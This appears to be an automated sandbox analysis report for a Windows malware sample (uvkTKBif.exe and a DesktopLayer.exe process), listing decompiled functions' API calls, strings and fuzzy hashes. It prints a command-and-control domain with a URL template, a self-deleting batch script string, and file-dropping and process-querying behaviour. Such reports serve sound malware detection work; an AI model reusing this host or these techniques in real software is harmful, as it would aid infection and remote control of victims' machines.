
Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00782766
memset.MSVCRT ref: 00782774
SHGetSpecialFolderPathA.SHELL32(00000000,?,00000026,00000000), ref: 00782787
wsprintfA.USER32 ref: 007827AB

Part of subcall function 0078185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,75A78400,http://%s:%d/%s/%s,?,?,?,00781118), ref: 00781867
Part of subcall function 0078185B: srand.MSVCRT ref: 00781878
Part of subcall function 0078185B: rand.MSVCRT ref: 00781880
Part of subcall function 0078185B: srand.MSVCRT ref: 00781890
Part of subcall function 0078185B: rand.MSVCRT ref: 00781894

wsprintfA.USER32 ref: 007827C6
CopyFileA.KERNEL32(?,00784C80,00000000), ref: 007827D4
wsprintfA.USER32 ref: 007827F4

Part of subcall function 00781973: PathFileExistsA.SHLWAPI(\Nx`Nx,00000000,C:\Users\user\AppData\Local\Temp\uvkTKBif.exe), ref: 00781992
Part of subcall function 00781973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 007819BA
Part of subcall function 00781973: Sleep.KERNEL32(00000064), ref: 007819C6
Part of subcall function 00781973: wsprintfA.USER32 ref: 007819EC
Part of subcall function 00781973: CopyFileA.KERNEL32(?,?,00000000), ref: 00781A00
Part of subcall function 00781973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00781A1E
Part of subcall function 00781973: GetFileSize.KERNEL32(?,00000000), ref: 00781A2C
Part of subcall function 00781973: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00781A46
Part of subcall function 00781973: ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 00781A65

DeleteFileA.KERNEL32(?,?,00784E54,00784E58), ref: 0078281A
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000004,00000000,00000000,?,00784E54,00784E58), ref: 00782832

Strings

%s\%s, xrefs: 007827EE
\WinRAR\Rar.exe, xrefs: 00782793
%s%s, xrefs: 007827A5
c_31892.nls, xrefs: 007827DE
C:\Windows\system32, xrefs: 007827E3
C:\Users\user\AppData\Local\Temp\, xrefs: 007827B6
%s%.8x.exe, xrefs: 007827BB

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: File$wsprintf$Create$CopyPathTimememsetrandsrand$AllocDeleteExistsFolderReadSizeSleepSpecialSystemVirtual
String ID: %s%.8x.exe$%s%s$%s\%s$C:\Users\user\AppData\Local\Temp\$C:\Windows\system32$\WinRAR\Rar.exe$c_31892.nls
API String ID: 692489704-613076915
Opcode ID: 995b5403a65f315e05a5c7e81e8ff12926d0cc53d15ff4f34136cdf06ba68e3f
Instruction ID: 941923ed5b810e65944c10ad26aa7568df09a5c7953487ad57d9d8e12d6ce6bd
Opcode Fuzzy Hash: 995b5403a65f315e05a5c7e81e8ff12926d0cc53d15ff4f34136cdf06ba68e3f
Instruction Fuzzy Hash: DA2133F69C021C7BDB10F7A89C89FEB77ACEB04B55F4045A1B654E2042E6B89F448B74

Function 00781581 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 67filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0078185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,75A78400,http://%s:%d/%s/%s,?,?,?,00781118), ref: 00781867
Part of subcall function 0078185B: srand.MSVCRT ref: 00781878
Part of subcall function 0078185B: rand.MSVCRT ref: 00781880
Part of subcall function 0078185B: srand.MSVCRT ref: 00781890
Part of subcall function 0078185B: rand.MSVCRT ref: 00781894

wsprintfA.USER32 ref: 007815AA
wsprintfA.USER32 ref: 007815C6
lstrlen.KERNEL32(?), ref: 007815D2
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 007815EE
WriteFile.KERNEL32(00000000,?,00000000,00000001,00000000), ref: 00781609
CloseHandle.KERNEL32(00000000), ref: 00781612
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 0078162D

Strings

%s%.8x.bat, xrefs: 007815A4
C:\Users\user\AppData\Local\Temp\uvkTKBif.exe, xrefs: 0078158A, 007815B3, 007815B8, 007815B9
C:\Users\user\AppData\Local\Temp\, xrefs: 00781599
open, xrefs: 00781627
:DELFILEdel "%s"if exist "%s" goto :DELFILEdel "%s", xrefs: 007815C0

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: File$Timerandsrandwsprintf$CloseCreateExecuteHandleShellSystemWritelstrlen
String ID: %s%.8x.bat$:DELFILEdel "%s"if exist "%s" goto :DELFILEdel "%s"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\uvkTKBif.exe$open
API String ID: 617340118-1104075269
Opcode ID: b0dbf0405cff53cfeab38edec7c9ac33b61e88a758c819cf1b2222857e26d0a3
Instruction ID: 0b3a1a4c71de598fc47c6b59eb55fcfdb59d214e261266e46fa50ab82f9fb938
Opcode Fuzzy Hash: b0dbf0405cff53cfeab38edec7c9ac33b61e88a758c819cf1b2222857e26d0a3
Instruction Fuzzy Hash: 0C1177B2A8112CBFD720A7A9DC8DDEB7B6CDF59B50F100051F549E2040EA789B858BB0

Function 0078120E Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 93librarymemoryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,ZwQuerySystemInformation,00000104,?,?,?,?,00781400), ref: 00781226
GetProcAddress.KERNEL32(00000000), ref: 0078122D
GetCurrentProcessId.KERNEL32(?,?,?,?,00781400), ref: 0078123F
OpenProcess.KERNEL32(00000400,00000000,00000000,?,?,?,?,00781400), ref: 00781250
VirtualFree.KERNEL32(00000000,00000000,00008000,?,C:\Users\user\AppData\Local\Temp\uvkTKBif.exe,?,?,?,?,00781400), ref: 0078129E
VirtualAlloc.KERNEL32(00000000,00050000,00003000,00000004,00000001,?,C:\Users\user\AppData\Local\Temp\uvkTKBif.exe,?,?,?,?,00781400), ref: 007812B0
CloseHandle.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\uvkTKBif.exe,?,?,?,?,00781400), ref: 007812F5
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,00781400), ref: 0078130A

Strings

ntdll.dll, xrefs: 00781219
ZwQuerySystemInformation, xrefs: 00781212
C:\Users\user\AppData\Local\Temp\uvkTKBif.exe, xrefs: 00781262

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: Virtual$FreeHandleProcess$AddressAllocCloseCurrentModuleOpenProc
String ID: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe$ZwQuerySystemInformation$ntdll.dll
API String ID: 1500695312-2096718424
Opcode ID: e1e514fdefe648b249bf1b781599653c9545eb9cec965932eb4f7483c2256690
Instruction ID: ed46ba0eb0ed21cc547b9295beaaea4e3bfe37a8927239747089a2df273fb248
Opcode Fuzzy Hash: e1e514fdefe648b249bf1b781599653c9545eb9cec965932eb4f7483c2256690
Instruction Fuzzy Hash: 23213631784311ABD320AF68CC08B6BBAACFB85F00FA04918F545E6240D378DA41C7A9

Function 00781000 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000003,C0000000,00000003,00000000,00000003,00000080,00000000,HGx,http://%s:%d/%s/%s,007810E8,?), ref: 00781018
GetFileSize.KERNEL32(00000000,00000000,ddos.dnsnb8.net,75A78400), ref: 00781029
CreateFileMappingA.KERNEL32(00000000,00000000,00000004,00000000,00000000,00000000), ref: 00781038
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000), ref: 0078104B
UnmapViewOfFile.KERNEL32(00000000), ref: 00781075
CloseHandle.KERNEL32(?), ref: 0078108B
CloseHandle.KERNEL32(00000000), ref: 0078108E

Strings

http://%s:%d/%s/%s, xrefs: 00781000
ddos.dnsnb8.net, xrefs: 00781026
HGx, xrefs: 00781001

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: File$CloseCreateHandleView$MappingSizeUnmap
String ID: HGx$ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 1223616889-3716516106
Opcode ID: a3569ab0796e406633dca91ce3ea4ae424d3bf5aa0cbdd585a3235e96bd7399c
Instruction ID: baeeefd6440146dccf1c2d56ce04afb8ff84215dbb2dfa7b9a505c8d0fb92cc0
Opcode Fuzzy Hash: a3569ab0796e406633dca91ce3ea4ae424d3bf5aa0cbdd585a3235e96bd7399c
Instruction Fuzzy Hash: EB01D67118034CBFE7306F64DC88E3BBBADDB40B99F104929F244E2090D6785E458B74

Function 0078189D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51processsynchronizationCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 007818B1
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,?,?,000007D0,75920F00,75A78400), ref: 007818D3
CloseHandle.KERNEL32(I%x), ref: 007818E9
WaitForSingleObject.KERNEL32(?,000000FF), ref: 007818F0
GetExitCodeProcess.KERNEL32(?,?), ref: 00781901
CloseHandle.KERNEL32(?), ref: 0078190A

Strings

I%x, xrefs: 007818E0

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateExitObjectSingleWaitmemset
String ID: I%x
API String ID: 876959470-908543668
Opcode ID: e2469c3a5b4409cf67d5600d65b55d63a9e58ef0d0aed07b3334d97a04ffc6fc
Instruction ID: 1f4ad0dc7dda2059f6f23a593db0528d95995b02bd8ea4261ef4ff1990143147
Opcode Fuzzy Hash: e2469c3a5b4409cf67d5600d65b55d63a9e58ef0d0aed07b3334d97a04ffc6fc
Instruction Fuzzy Hash: 0A017C72941168BBCB21AB96DC48DDFBF7EEF85720F108021FA15A51A0D6395A18CBA0

Function 0078185B Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 31timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,75A78400,http://%s:%d/%s/%s,?,?,?,00781118), ref: 00781867
srand.MSVCRT ref: 00781878
rand.MSVCRT ref: 00781880
srand.MSVCRT ref: 00781890
rand.MSVCRT ref: 00781894

Strings

http://%s:%d/%s/%s, xrefs: 00781860
ddos.dnsnb8.net, xrefs: 00781862

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: Timerandsrand$FileSystem
String ID: ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 4106363736-3273462101
Opcode ID: 62689f6549d5eabff9f9e77bc6edf856189f24909700962aa77dbd58c65c8827
Instruction ID: aa46395527b758ae3a59a4bbe832a12c2fd3211862a39e659de3bf0eb756358d
Opcode Fuzzy Hash: 62689f6549d5eabff9f9e77bc6edf856189f24909700962aa77dbd58c65c8827
Instruction Fuzzy Hash: 2FE0D877A00218BBD700A7FDEC86C9EBBACDE84561B200527F600D3250E574FD448BB8

Function 00782692 Relevance: 12.1, APIs: 8, Instructions: 64stringsynchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000001,00000000,7591E800,?,?,007829DB,?,00000001), ref: 007826A7
WaitForSingleObject.KERNEL32(00000000,000000FF,7591E800,?,?,007829DB,?,00000001), ref: 007826B5
lstrlen.KERNEL32(?), ref: 007826C4
??2@YAPAXI@Z.MSVCRT(-00000005), ref: 007826CE
lstrcpy.KERNEL32(00000004,?), ref: 007826E3
lstrcpy.KERNEL32(?,00000004), ref: 0078271F
??3@YAXPAX@Z.MSVCRT(00000000), ref: 0078272D
SetEvent.KERNEL32 ref: 0078273C

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: Eventlstrcpy$??2@??3@CreateObjectSingleWaitlstrlen
String ID:
API String ID: 41106472-0
Opcode ID: 3f346cf4d6d2f80b56fe3b30d7f5b2a16ec0b3f95227f4c6c231a9bdf1ffe77b
Instruction ID: 759a09a272ec1083d33f30c5a7248305502041e8a5efc25b9c8510ef53644fbc
Opcode Fuzzy Hash: 3f346cf4d6d2f80b56fe3b30d7f5b2a16ec0b3f95227f4c6c231a9bdf1ffe77b
Instruction Fuzzy Hash: BB11B6365C0101EFCB21EF2AEC4885A7BAAFB84B22B308015F55487221D77C8D86DB68

Function 00781B8A Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 81stringCOMMON

Download Yara Rule

APIs

srand.MSVCRT ref: 00781BCD
rand.MSVCRT ref: 00781BD8
memset.MSVCRT ref: 00781C43
memcpy.MSVCRT(?,UWNgHbwBqlklAkYxljfWyVBvDCUBxOFmeADeviIEpNbtjcPeCpZSSqMIyWusjYJRhQEFgVXIohRuGVOtPdrzyNTxZzsUqbvncdghfJzwnomHQfmoTHSLEAaaYKMrwdOiLRKJZQTFaXtuGPLCiKDXGsnMcprk,00000006,?,00000000,00000040,?,00000000,00000000,?,00000000,00000002), ref: 00781C4F
lstrcat.KERNEL32(?,.exe), ref: 00781C5D

Strings

.exe, xrefs: 00781C57
UWNgHbwBqlklAkYxljfWyVBvDCUBxOFmeADeviIEpNbtjcPeCpZSSqMIyWusjYJRhQEFgVXIohRuGVOtPdrzyNTxZzsUqbvncdghfJzwnomHQfmoTHSLEAaaYKMrwdOiLRKJZQTFaXtuGPLCiKDXGsnMcprk, xrefs: 00781B8A, 00781B9C, 00781C15, 00781C49

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: lstrcatmemcpymemsetrandsrand
String ID: .exe$UWNgHbwBqlklAkYxljfWyVBvDCUBxOFmeADeviIEpNbtjcPeCpZSSqMIyWusjYJRhQEFgVXIohRuGVOtPdrzyNTxZzsUqbvncdghfJzwnomHQfmoTHSLEAaaYKMrwdOiLRKJZQTFaXtuGPLCiKDXGsnMcprk
API String ID: 122620767-3250422822
Opcode ID: b129f8ece73bc0caaaaa0f6b00bd72eab9c60b506c969bd847b640941db2a913
Instruction ID: 31c26af8d973e4a55fc104d1304e729d96567505207219c3b52b8dcc6c21f925
Opcode Fuzzy Hash: b129f8ece73bc0caaaaa0f6b00bd72eab9c60b506c969bd847b640941db2a913
Instruction Fuzzy Hash: FC216B73FC41906ED316733A7C44B692F498FA3B21F25C0A9F6854B292D1AC09838378

Function 00781319 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,NtSystemDebugControl,-00000094,-00000094,0000000C,0000000C,00000001), ref: 00781334
GetProcAddress.KERNEL32(00000000), ref: 0078133B
memset.MSVCRT ref: 00781359

Strings

ntdll.dll, xrefs: 0078132F
NtSystemDebugControl, xrefs: 0078132A

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: AddressHandleModuleProcmemset
String ID: NtSystemDebugControl$ntdll.dll
API String ID: 3137504439-2438149413
Opcode ID: 715bcce63579716185d1ee5e161519427adf66fdfdaca5fdc92c0b79112f4265
Instruction ID: 49cb06c611ac4e934ae19ec094722c8513f60da06f59328aeb8b34e3d691891e
Opcode Fuzzy Hash: 715bcce63579716185d1ee5e161519427adf66fdfdaca5fdc92c0b79112f4265
Instruction Fuzzy Hash: 57018471A8030DBFDB10EF98EC8996FBBACFB51715F10416AF901A1540E3789646CB55

Function 00781DF6 Relevance: 7.5, APIs: 5, Instructions: 45stringCOMMON

Download Yara Rule

APIs

strrchr.MSVCRT ref: 00781E0B
lstrcpy.KERNEL32(?,00000001), ref: 00781E1C
strrchr.MSVCRT ref: 00781E2B
lstrcmpiA.KERNEL32(?,00784488), ref: 00781E48
lstrlen.KERNEL32(00784488), ref: 00781E53

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: strrchr$lstrcmpilstrcpylstrlen
String ID:
API String ID: 3636361484-0
Opcode ID: 512907724d352053a2befa01ea9fdccee68f6664ee46703d75a0fe2b5c3ee391
Instruction ID: 404b8b2723809f3fbb4c6dfa28df2f33ee30fe31b826333bdc53f4795c4edf67
Opcode Fuzzy Hash: 512907724d352053a2befa01ea9fdccee68f6664ee46703d75a0fe2b5c3ee391
Instruction Fuzzy Hash: A001F9B298421A6FEB206774EC48BD677DDDB04311F644066EA45E3090EBBCDA85CBA4

Analysis Process: DesktopLayer.exePID: 3176, Parent PID: 3712COMMON

Execution Graph

Execution Coverage:	5.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	214
Total number of Limit Nodes:	7

Executed Functions

Function 004011DF Relevance: 3.0, APIs: 2, Instructions: 20
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(?,?), ref: 00401203
FindClose.KERNEL32(00000000,?,?), ref: 0040120E

Memory Dump Source

Source File: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2055030585.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_DesktopLayer.jbxd

Yara matches

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 5ef48afcc60f0df42ca52d170e360d4b387ed72ee7c98a6338fd5de06560ac66
Instruction ID: b1f125ed4efc06f30582f8b04dd36de647bf725fcf985a164ddf40afef925a9c
Opcode Fuzzy Hash: 5ef48afcc60f0df42ca52d170e360d4b387ed72ee7c98a6338fd5de06560ac66
Instruction Fuzzy Hash: 60E0C23040020812DB10F6A48C0ABCA329C5F24318F0002B77619F31E1DA7CDEC4C76E

Function 004B04CC Relevance: 1.5, APIs: 1, Instructions: 48nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(00000000,FB145B9B,E0605F88,00000002,?), ref: 004B36B6

Memory Dump Source

Source File: 00000004.00000003.2047734431.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_4b0000_DesktopLayer.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 8d827ceb1cc416b39031b6256c29159742f08048d30b83f4891e398e95171e99
Instruction ID: e9678249d72b660eb5c2e336ff02347ec6bed3d5663e92ed26fd85dce9e4b303
Opcode Fuzzy Hash: 8d827ceb1cc416b39031b6256c29159742f08048d30b83f4891e398e95171e99
Instruction Fuzzy Hash: F311579080D3D46ED7239B358864AA93FB06B03305F1A81CBD1C5DA0E3DA6D4A49CB3B

Function 004B3519 Relevance: 1.5, APIs: 1, Instructions: 38
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL ref: 004B36B6

Memory Dump Source

Source File: 00000004.00000002.2055566324.00000000004B1000.00000040.00001000.00020000.00000000.sdmp, Offset: 004B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b1000_DesktopLayer.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 2171132a724ee702e00d67cb4ae17207dee643bdc257fb58d7537d09c28e9070
Instruction ID: 3d593614ff37e647e26cd2b88ffb9591816ac84cee0c832b52bd2e41e639fa83
Opcode Fuzzy Hash: 2171132a724ee702e00d67cb4ae17207dee643bdc257fb58d7537d09c28e9070
Instruction Fuzzy Hash: B1016DC180C7C45FD31397A598A17D93FA06B2B31DF1A05D7D198DA1E3E66C4A06873B

Function 004B0335 Relevance: 1.5, APIs: 1, Instructions: 29memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(?,42025366), ref: 004B27CB

Memory Dump Source

Source File: 00000004.00000003.2047734431.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_4b0000_DesktopLayer.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 7fc04df0d5d77a41f467c6adf8d35f92e442f5b7f77c8826fd2060193fd8791e
Instruction ID: 956f99118eb019356e4211bd5f87e91cde7fc01f50da72b4ffe305226a0e4a0a
Opcode Fuzzy Hash: 7fc04df0d5d77a41f467c6adf8d35f92e442f5b7f77c8826fd2060193fd8791e
Instruction Fuzzy Hash: ADF0F8D680D7D02EF3235674A8A5B842FA09B77248F0B44CBD0C4DA0E3D5A94A4B833B

Function 004B3519 Relevance: 1.5, APIs: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(00000000,FB145B9B,E0605F88,00000002,?), ref: 004B36B6

Memory Dump Source

Source File: 00000004.00000003.2047734431.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_4b0000_DesktopLayer.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 190a51f41ef361d33bfa81698acc1348fdb76df4dcbf211a6dfeeae8dfbe8205
Instruction ID: dcf61a141b5d7a2db83fafbdf8faff84b7371ddf024fb30a14436aa9f50467f2
Opcode Fuzzy Hash: 190a51f41ef361d33bfa81698acc1348fdb76df4dcbf211a6dfeeae8dfbe8205
Instruction Fuzzy Hash: 07F0F8C680C7C05FE32313A49CA1B953FA05B2721DF1B05CBD1D4CA0E3D6680A06873B

Function 004B0814 Relevance: 1.5, APIs: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?), ref: 004B0856

Memory Dump Source

Source File: 00000004.00000003.2047734431.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_4b0000_DesktopLayer.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: a7512f518d9cd3fd1093e4f2270c633ac2325be1cc000d8372d1ddfaef692cf0
Instruction ID: 53a2ad591e340296b7ffe5ae3c49107ffc07a6cfda203b4f7a38a73dd4f2ab4b
Opcode Fuzzy Hash: a7512f518d9cd3fd1093e4f2270c633ac2325be1cc000d8372d1ddfaef692cf0
Instruction Fuzzy Hash: E4F05FC691E3D02EE70793B458687497FB01B67209F0A80CBC1919B0E3E6A949098336

Function 004B27A0 Relevance: 1.5, APIs: 1, Instructions: 19
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL ref: 004B27CB

Memory Dump Source

Source File: 00000004.00000002.2055566324.00000000004B1000.00000040.00001000.00020000.00000000.sdmp, Offset: 004B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b1000_DesktopLayer.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 463493cebd59d1f188ea9a20502c0f4e100c46f55fa8f6262abcbcc5b70460af
Instruction ID: c2ba5ae319506b5b3c34dab63c9871c855eaa5994ee0d20c46dbe3da657a52d6
Opcode Fuzzy Hash: 463493cebd59d1f188ea9a20502c0f4e100c46f55fa8f6262abcbcc5b70460af
Instruction Fuzzy Hash: 62E0928691E3D40EE70393745864A847FB15F67118F0B85DBD0D5CA0E3D6489A0EC337

Function 004B27A0 Relevance: 1.5, APIs: 1, Instructions: 19memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(?,42025366), ref: 004B27CB

Memory Dump Source

Source File: 00000004.00000003.2047734431.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_4b0000_DesktopLayer.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
